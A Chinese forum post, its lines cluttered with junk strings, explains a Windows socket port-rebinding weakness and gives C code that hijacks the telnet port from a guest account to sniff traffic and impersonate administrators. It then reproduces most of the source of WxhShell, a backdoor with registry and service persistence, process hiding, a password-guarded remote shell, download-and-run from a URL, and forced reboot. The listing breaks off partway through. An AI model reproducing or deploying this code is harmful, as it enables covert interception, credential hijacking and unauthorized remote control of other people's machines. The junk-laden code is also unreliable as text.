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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k)n b<JW|r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 58s-RO6  
Z&n[6aV'F  
  saddr.sin_family = AF_INET; n>ui'}L  
O%T?+1E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eK:?~BI!  
q~R8<G%YK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); src9EeiV  
e-ta7R4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +^Xf:r` G  
4{uQ}ea  
  这意味着什么?意味着可以进行如下的攻击: -O *_+8f  
g{]6*`/Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1jg* DQ7L  
1VgGF^cYR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;W?#l$R  
{1SsH ir>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k9x[( #  
R2Tt6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -iR2UE@M  
' 4FH9J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C1D:Xi-  
hQ@k|3=Re  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  +|LM"  
6'^E ],:b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a}%f +`z  
O^MI073Q>t  
  #include /"Vd( K2Z  
  #include <r#FI8P;X  
  #include ./F:]/Mt  
  #include    PMytk`<`zw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xq;|l?,O  
  int main() h <4`|Bg+  
  { YCDH0M  
  WORD wVersionRequested; F LWVI4*  
  DWORD ret; 9`*ST(0/  
  WSADATA wsaData; @U_ CnhPQq  
  BOOL val; \\k=N(n  
  SOCKADDR_IN saddr; B%8@yS  
  SOCKADDR_IN scaddr; fd )v{OC  
  int err; +aOdaNcI  
  SOCKET s; q-`&C  
  SOCKET sc; d1cp=RbC  
  int caddsize; E y:68yU  
  HANDLE mt; Fx:38Ae  
  DWORD tid;   ~X3g_<b_8  
  wVersionRequested = MAKEWORD( 2, 2 ); =Dq&lm,n  
  err = WSAStartup( wVersionRequested, &wsaData ); Og1-LP|X  
  if ( err != 0 ) { KZ%i&w#<  
  printf("error!WSAStartup failed!\n"); fbh,V%t7  
  return -1; QCb D^  
  } u!K1K3T6k  
  saddr.sin_family = AF_INET; H{Ewj_L  
   >/A]C$?3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M.Yp'Av  
P P J^;s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U823q-x  
  saddr.sin_port = htons(23); yJI~{VmU7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [#Qf#T%5h  
  { 3&y-xZu]  
  printf("error!socket failed!\n"); (xb2H~WrN  
  return -1; "9_$7.q<y  
  } wOf8\s1  
  val = TRUE;  i"<W6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PuJ3#H T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x@OBGKV  
  { t1hQ0B  
  printf("error!setsockopt failed!\n"); blQ&QQL  
  return -1; G=zNZ  
  } 1D 'r;`z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KA?}o^-F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gML8lu0)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r]!#v{#.  
*:n7B\.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c-k3<|H`  
  { y^C5_w(^jZ  
  ret=GetLastError(); ]AYP\\Xi  
  printf("error!bind failed!\n"); 1'o[9-  
  return -1; rn|]-^ku/  
  } v Z9OJrF  
  listen(s,2); zcP=+Y)YA  
  while(1) \#,2#BmO"E  
  { Dz0D ^(;V  
  caddsize = sizeof(scaddr); oks;G([  
  //接受连接请求 .aT@'a{F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "B{3q`(  
  if(sc!=INVALID_SOCKET) :6Nb,Hh~  
  { gkd4)\9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4H6Fq*W{k  
  if(mt==NULL) 0''p29  
  { jc"sPrv5  
  printf("Thread Creat Failed!\n"); "kP,v&n  
  break; .zgh,#=  
  } &b|RoPV  
  } Odo)h  
  CloseHandle(mt); /Z6lnm7wJ  
  } 7GO9z<m)  
  closesocket(s); nz3*s#k\-  
  WSACleanup(); 84WD R?  
  return 0; K80f_ iT 5  
  }   zu1"`K3b  
  DWORD WINAPI ClientThread(LPVOID lpParam) kU/MvoV  
  { R$awo/'^  
  SOCKET ss = (SOCKET)lpParam; /F;2wT;  
  SOCKET sc; Q/SO%E`E  
  unsigned char buf[4096]; >+J}mo=*  
  SOCKADDR_IN saddr; M)#9Q=<  
  long num; S=,czs3N  
  DWORD val; zb{79Os[B  
  DWORD ret; +#eol~j9N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z;G*wM"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2OJlE) .  
  saddr.sin_family = AF_INET; |J!mM<*K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8r(a wp  
  saddr.sin_port = htons(23); !+eU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7"'RE95  
  { h,$CJdDY]  
  printf("error!socket failed!\n"); nriSVGi  
  return -1; |yk/iO(  
  } $_F_%m"\  
  val = 100; 2A\b-;4EP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,y]-z8J  
  { 2"G9?)d9  
  ret = GetLastError(); b\0>uU  
  return -1; *F%1~  
  } D \i]gfu8W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :6(\:  
  { le \f:  
  ret = GetLastError(); [QxP9EC  
  return -1; w8X5kk   
  } 4m< ]qw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C_N|o|dX  
  { =p4n @C  
  printf("error!socket connect failed!\n"); xmnBG4,f  
  closesocket(sc); sY!JB7!j  
  closesocket(ss); Q!q6R^5!K  
  return -1; 5@5 *}[M  
  } O(I^:_eH  
  while(1) $=.%IJ_MAz  
  { u~OlJ1V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zH~P-MqC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6agq^wI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -7&ywgxl  
  num = recv(ss,buf,4096,0); h |]cZMGo  
  if(num>0) 26/<\{q~  
  send(sc,buf,num,0); U^KWRqt  
  else if(num==0) `R2Iw I&  
  break; r\"R?P$y|  
  num = recv(sc,buf,4096,0); z" tz-~  
  if(num>0) F% n}vA`  
  send(ss,buf,num,0); eOb--@~8  
  else if(num==0) 4vbGXb}!  
  break; !U% |pa  
  } B(M-;F  
  closesocket(ss); b|-)p+ba  
  closesocket(sc); Xb:* KeZq  
  return 0 ; ufk2zL8y  
  } .hH_1Mo8  
[ifw}(  
QD0x^v8  
========================================================== LN+x!#:e  
#qVTB@d  
下边附上一个代码,,WXhSHELL /4(HVua  
bhpaC8|  
========================================================== vk E]$4P[$  
*jhgCm  
#include "stdafx.h" I;rW!Hb  
C')KZ|JIC  
#include <stdio.h> ?<jWEz=  
#include <string.h> lt-3OcC  
#include <windows.h> *=oO3c0|b,  
#include <winsock2.h> ;@S'8  
#include <winsvc.h> ,oH\rrglf  
#include <urlmon.h> YD[AgToo0  
Ml c_w19C9  
#pragma comment (lib, "Ws2_32.lib") p^ (Z  
#pragma comment (lib, "urlmon.lib") o*A, 6y  
Yr{hJGw[  
#define MAX_USER   100 // 最大客户端连接数 &ic'!h"  
#define BUF_SOCK   200 // sock buffer mTsyVji8  
#define KEY_BUFF   255 // 输入 buffer gOnZ#  
eV!(a8  
#define REBOOT     0   // 重启 h;vY=r-  
#define SHUTDOWN   1   // 关机 [5' HlHK  
Ag2~q  
#define DEF_PORT   5000 // 监听端口 /1Gmga5  
gpyio1V>  
#define REG_LEN     16   // 注册表键长度 3:Nc`tM_  
#define SVC_LEN     80   // NT服务名长度 e 1XKlgl  
ftMlm_u  
// 从dll定义API g"" 1\rc=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~zfF*A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QlvP[Jtr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y@v)kN)Y9\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iLv -*%%  
6h5g!GQD  
// wxhshell配置信息 muXP5MO  
struct WSCFG { ?,7!kTRH  
  int ws_port;         // 监听端口 > }f!. i  
  char ws_passstr[REG_LEN]; // 口令  Ps.xY;Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no syLdm3d|  
  char ws_regname[REG_LEN]; // 注册表键名 F&uiI;+zJ  
  char ws_svcname[REG_LEN]; // 服务名 , poc!n//  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9 Vq   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rAtCG1Vr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yCR8c,'8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XK\nOHLS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" } Ifa5Lq)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;{0alhMZ  
!GvT{  
}; sg-^ oy*^  
T^] ]z}k  
// default Wxhshell configuration >n/0od9  
struct WSCFG wscfg={DEF_PORT, h-"q <eY"  
    "xuhuanlingzhe", ':}9>B3 S  
    1, K:-jn}i?/  
    "Wxhshell", ,<+:xl   
    "Wxhshell", uQbag]&j  
            "WxhShell Service", |APOTQV  
    "Wrsky Windows CmdShell Service", v&G9HiH  
    "Please Input Your Password: ", zmZU"eWp)  
  1, v+xrn z  
  "http://www.wrsky.com/wxhshell.exe", WFc4(Kl  
  "Wxhshell.exe" p @q20>^u  
    }; a ub$4n!C9  
UVLS?1ra  
// 消息定义模块 h{o,*QL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =e 1Q>~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'LG\]h>+)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cXt&k  
char *msg_ws_ext="\n\rExit."; J V}7c$_  
char *msg_ws_end="\n\rQuit."; %4rlB$x  
char *msg_ws_boot="\n\rReboot..."; ~)$R'=  
char *msg_ws_poff="\n\rShutdown..."; GGwwdB\x'  
char *msg_ws_down="\n\rSave to "; Ux?G:LLz  
0Y* "RbG  
char *msg_ws_err="\n\rErr!"; K!(WcoA&2i  
char *msg_ws_ok="\n\rOK!"; h*KDZ+{)  
)CoFRqz<h  
char ExeFile[MAX_PATH]; ubZuvWZ  
int nUser = 0; ]3|h6KWq  
HANDLE handles[MAX_USER]; `0W"[BY  
int OsIsNt; )IK%Dg(v  
 w<!&%  
SERVICE_STATUS       serviceStatus; D->E&#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jQz^)8)B  
M@q)\UQ'  
// 函数声明 `ba<eT':  
int Install(void); ;j;U9-oh  
int Uninstall(void); $=>:pQbBVX  
int DownloadFile(char *sURL, SOCKET wsh); QHje}  
int Boot(int flag); aH%tD!%,o  
void HideProc(void); [`h,Ti!m<  
int GetOsVer(void); -$%~EY}  
int Wxhshell(SOCKET wsl); yTbtS-  
void TalkWithClient(void *cs); [Z'4YXS  
int CmdShell(SOCKET sock); ;>>:7rdYt  
int StartFromService(void); j&.JAQ*2;  
int StartWxhshell(LPSTR lpCmdLine); .'+JA:3R  
Yx. t+a-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R(y`dQy<K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *2pE39  
JKp@fQT *  
// 数据结构和表定义 @:'E9J06  
SERVICE_TABLE_ENTRY DispatchTable[] = biV|W@JM  
{ ?OO !M  
{wscfg.ws_svcname, NTServiceMain}, R. ryy  
{NULL, NULL} xXV15%&  
}; Nt<Ac&6 s  
ByWad@-6i  
// 自我安装 Z'^.H3YvL  
int Install(void) c7?|Tipc  
{ _mQ~[}y+?  
  char svExeFile[MAX_PATH]; RC"xnnIJv  
  HKEY key; r 3T#Nv  
  strcpy(svExeFile,ExeFile); :^QV,d<C  
}?GeU Xhy  
// 如果是win9x系统,修改注册表设为自启动 .b*-GWx  
if(!OsIsNt) { =>TXo@rVN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'HvW&~i(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2I4G=jM[  
  RegCloseKey(key); r_a1oO:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gd31ds!G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Si#XF[/  
  RegCloseKey(key); h7]>b'H  
  return 0; @yPI$"Ma  
    } &19z|Id  
  } a5g1.6hF  
} 7.^1I7O  
else { !Nhq)i  
= U~\iJ  
// 如果是NT以上系统,安装为系统服务 t9 id^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9EZh~tdV[  
if (schSCManager!=0) FRE${~Xd  
{ yF&?gPh&  
  SC_HANDLE schService = CreateService ##NowO  
  ( 0ipYXbC  
  schSCManager, !jJH}o/KW  
  wscfg.ws_svcname, f9E.X\"  
  wscfg.ws_svcdisp, Lr(wS {  
  SERVICE_ALL_ACCESS, q/tC/V%@(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V :4($  
  SERVICE_AUTO_START, hRN>]e,!  
  SERVICE_ERROR_NORMAL, 5adB5)`  
  svExeFile, A832z`  
  NULL, Uefw  
  NULL, &_c5C  
  NULL, G|]39/OO3{  
  NULL, J 9k~cz  
  NULL 3WdANR  
  ); .mS'c#~5Y  
  if (schService!=0) {?'c|\n Li  
  { !g-19at  
  CloseServiceHandle(schService); {~d8_%:b  
  CloseServiceHandle(schSCManager); R_DZJV O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B,dKpz;kFg  
  strcat(svExeFile,wscfg.ws_svcname); O/Wc@Ln  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ut^^,w{o>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )%5T*}j  
  RegCloseKey(key); '| |),>~  
  return 0; A|U_$!cLZ  
    } wms8z  
  } V0WFh=CM@  
  CloseServiceHandle(schSCManager); E :Y *;  
} [I` 6F6  
} Z)zmT%t  
|LDo<pE*V4  
return 1; BK:S:  
} wKAc ;!  
 %sLij*  
// 自我卸载 lTv_%hUp  
int Uninstall(void) ^Ru/7pw 5  
{ 4 p(KdYc  
  HKEY key; 8.Ty ,7Z  
M9b_Q  
if(!OsIsNt) { L$+ap~ld  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xem:#>&r  
  RegDeleteValue(key,wscfg.ws_regname); .<`Rq'  
  RegCloseKey(key); :xT=uE.I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9f4#b8  
  RegDeleteValue(key,wscfg.ws_regname); Et+N4w  
  RegCloseKey(key); Ci ? +Sl  
  return 0; r'q9N  
  } 6!n%SUt  
} ?qQRA|n*  
} "syf@[tz7  
else { 1vQj` F  
=kvYE,,g_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <3>Ou(F  
if (schSCManager!=0) 5sq#bvfJ o  
{ G =+sW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a[GlqaQy+-  
  if (schService!=0) B/Lx,  
  { NY ZPh%x  
  if(DeleteService(schService)!=0) { {^bs }($J  
  CloseServiceHandle(schService); eID"&SSU  
  CloseServiceHandle(schSCManager); of ^N4  
  return 0; 'qhA4W9  
  } (v^L2Po  
  CloseServiceHandle(schService); ;o#R(m@Lx  
  } ET`;TfqM  
  CloseServiceHandle(schSCManager); 0%^m  
} yl%F}kBR  
} G?MNM-2  
94F9f^ L  
return 1; fmvv q1G&  
} 16YJQ ue  
s]r"-^eS3  
// 从指定url下载文件 .Tdl'y:..  
int DownloadFile(char *sURL, SOCKET wsh) 4y+] V~p  
{ ge[+/$(1  
  HRESULT hr; U&/Jh^Yy  
char seps[]= "/"; h"')D  
char *token; xgtdmv%  
char *file; Tp`by 1s  
char myURL[MAX_PATH]; ^6ZA2-f/<8  
char myFILE[MAX_PATH]; %9=^#e+pE  
rj*4ZA?  
strcpy(myURL,sURL); 81/Bn!  
  token=strtok(myURL,seps); ~'HwNzDQc  
  while(token!=NULL) 0bpl3Fh.v  
  { (CH F=g  
    file=token; gRKmfJ*u  
  token=strtok(NULL,seps); >"S'R9t  
  } M,PZ|=V6a  
Xt/muV  
GetCurrentDirectory(MAX_PATH,myFILE); ])a?ri  
strcat(myFILE, "\\"); xk}YeNVj  
strcat(myFILE, file); fdzD6K ZI  
  send(wsh,myFILE,strlen(myFILE),0); ^c^9kK'  
send(wsh,"...",3,0); "S^;X @#v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .)B_~tct  
  if(hr==S_OK) s&M6DFlA  
return 0; A[!Fg0X0  
else /H,!7!6>?  
return 1; ,l` q  
s%J|r{F6  
} p/'C v  
kkFE9:[-c&  
// 系统电源模块 l<{]%=Qg  
int Boot(int flag) NJ 7N*   
{ \A5cM\-  
  HANDLE hToken; >wM%|j'  
  TOKEN_PRIVILEGES tkp; =[?2'riI  
yc4mWB~gyU  
  if(OsIsNt) { zpIl'/ i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VA)3=82n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yGH'|`  
    tkp.PrivilegeCount = 1; 6U7z8NV&[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _4rb7"b1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o'%F*>#v  
if(flag==REBOOT) { kte Dh7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) klKAwCQ,  
  return 0; B.K"1o  
} *6q8kQsz^1  
else { b2H!{a"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^Q4w<sX'  
  return 0; 9ToM5oQ  
} lyIstfRh15  
  } I1&Z@[  
  else { n@5pS3qZ  
if(flag==REBOOT) { M,t8<y4 W/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .?_wcp=  
  return 0; JXGIVH?Rpu  
} & .+[~2  
else { 2sy{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W2yNEiH  
  return 0; Q]w;o&eo  
} Xe*@`&nv@  
} ?qw&H /R  
r1-?mMSU&  
return 1; %zd1\We  
} u-pE ;|  
g84~d(\?  
// win9x进程隐藏模块 *2 4P T7  
void HideProc(void) s:R>uGYOd  
{ Zx55mSfx:  
hof$0Fg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GfJm&'U&  
  if ( hKernel != NULL ) mh.0% 9`9  
  { A,lcR:@w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L,waQk / @  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KHcf P7  
    FreeLibrary(hKernel); E` XUK,b  
  } 2j4VW0:  
Rr4r[g#  
return; _7]5 Q  
} 8 8pz<$  
0d`s(b54;O  
// 获取操作系统版本 2*Z~J M  
int GetOsVer(void) E^1uZI\z  
{ 05DK-Wh?  
  OSVERSIONINFO winfo; MrLDe {^C2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uc=-+*D'I  
  GetVersionEx(&winfo); ,, ]y 8P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [ #A!B#`  
  return 1; #rzxFMA"  
  else (LTm!"Q  
  return 0; /qo.Z  
} eAu3,qoM  
= Yh>5A  
// 客户端句柄模块 HHWB_QaL  
int Wxhshell(SOCKET wsl) ',kYZay  
{ V{{b^y  
  SOCKET wsh; vsqfvx  
  struct sockaddr_in client; He)v:AH  
  DWORD myID; g?^o++  
XdLB1H  
  while(nUser<MAX_USER) I#Iu:,OT  
{ S<88>|&n]  
  int nSize=sizeof(client); c pgHF`nt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +S^Uw'L$=T  
  if(wsh==INVALID_SOCKET) return 1; jp=^$rS6[  
,Ztj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lsY5QE:Qrp  
if(handles[nUser]==0) mZ7.#R*}  
  closesocket(wsh); ]#j]yGV  
else *1ku2e]z  
  nUser++; 2P!Pbl<  
  } f@[q# }6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *;Hvx32I  
Ga.a"\F.V  
  return 0; Ls5|4%+&  
} 4 FGcCE3  
d01bt$8>  
// 关闭 socket &=<x&4H+  
void CloseIt(SOCKET wsh) _+ oX9  
{ -XkCbxZ  
closesocket(wsh); Iy8Ehwejd  
nUser--; h.sH:]Z  
ExitThread(0); #)GL%{Oa  
} r*&gd|sn  
_j}|R(s*+V  
// 客户端请求句柄 w%S\)wjS  
void TalkWithClient(void *cs) yJppPIW^  
{ CbS- Rz:  
O<Ht-TN&  
  SOCKET wsh=(SOCKET)cs; 9Fv1D  
  char pwd[SVC_LEN]; )f*&}SV  
  char cmd[KEY_BUFF]; 3RXq/E  
char chr[1]; 2?z3s|+[  
int i,j; QyJ}zwD  
TlQ#0_as[  
  while (nUser < MAX_USER) { iNe;h|  
g.SFl  
if(wscfg.ws_passstr) { R',Q)<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Owo2DsT t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q\<C9%a  
  //ZeroMemory(pwd,KEY_BUFF); k_ UY^vz.  
      i=0; DJS0;!# |O  
  while(i<SVC_LEN) { $!G7u<`na  
l"f.eo0@7  
  // 设置超时 ^Q pP'  
  fd_set FdRead; 1 }Tbp_  
  struct timeval TimeOut; vCb3Ra~L`  
  FD_ZERO(&FdRead); B~D{p t3y  
  FD_SET(wsh,&FdRead); E2Q;1Re@  
  TimeOut.tv_sec=8; QpBgG~h"  
  TimeOut.tv_usec=0; =$X5O&E3'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p3&/F=T;)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "4<RMYQ  
g1@zk $  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /a [i:Oa#  
  pwd=chr[0]; 4`I2tr  
  if(chr[0]==0xd || chr[0]==0xa) { s+#gH@c  
  pwd=0; P6u9Ngay  
  break; fIN F;TK  
  } 07[A&B!  
  i++; yAy~|1}  
    } @i'RIL}  
9.{u2a\  
  // 如果是非法用户,关闭 socket }3E@]"<cVR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1p[C5j3  
} JF!JY( U,  
q6bi{L@/R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R9A8)dDz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '- oS=OrZ  
8UJK]_99I,  
while(1) { !_ZknZTT  
|_"JyGR2  
  ZeroMemory(cmd,KEY_BUFF); )h]~< fU  
ea kj>7\s  
      // 自动支持客户端 telnet标准   9utiev~3  
  j=0; Cc/h|4  
  while(j<KEY_BUFF) { /{>$E>N;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UbNA|`H  
  cmd[j]=chr[0]; VG0Ty;bV  
  if(chr[0]==0xa || chr[0]==0xd) { Zyt,D|eWj  
  cmd[j]=0; 3=5K7 F  
  break; GqMa|8j  
  } o=}}hE\H  
  j++; +;^Ux W  
    } AFE6@/'  
_0N=~`'  
  // 下载文件 UF0W%Z  
  if(strstr(cmd,"http://")) { qB6@OS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZG[P?fM  
  if(DownloadFile(cmd,wsh)) nr7#}pzo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2l]*><q|  
  else K2$ fKju  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RfH.WXi  
  } Y)#x(s?t  
  else { `B6*wE-|  
+`tl<r g;  
    switch(cmd[0]) { G&=4@pLY5  
  <Hd8Jd4f  
  // 帮助 }<R,)ZV^G  
  case '?': { Zk,` Iq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j5Kw0Wy7  
    break; `EKmp|B_p_  
  } tpu2e*n-|  
  // 安装 \|e>(h!l;  
  case 'i': { G"k.sRKu  
    if(Install()) HYcLXhvgu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !%MI9Ok  
    else T8<pb^#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ffoL]u\  
    break; er@"4R0  
    } tfB}U.  
  // 卸载 < z':_,  
  case 'r': { kw)( "SQ  
    if(Uninstall()) ],`xd_=]=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e&~vO| 3w%  
    else ?,s]5   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] V|hDU=t  
    break; [|iWLPO1&k  
    } y8*MNw  
  // 显示 wxhshell 所在路径 #IJm*_J<  
  case 'p': { CD^C}MB  
    char svExeFile[MAX_PATH]; @*?)S{8  
    strcpy(svExeFile,"\n\r"); uqz HS>GM  
      strcat(svExeFile,ExeFile); OlU')0Y  
        send(wsh,svExeFile,strlen(svExeFile),0); Vn&{yCm3  
    break; BF^dNgn+%K  
    } o<h2]TN  
  // 重启 zM+4<k_dH]  
  case 'b': { ^}SP,lg'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5Zf^cou  
    if(Boot(REBOOT)) j1zrjhXI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _V2^0CZ  
    else { ^bM\:z"M  
    closesocket(wsh); 6=cfr; BH2  
    ExitThread(0); m}UcF oaO  
    } zH"a>+st=  
    break; su$IXI#R-&  
    } u+/Uc:XK)  
  // 关机 1JQ5bB"  
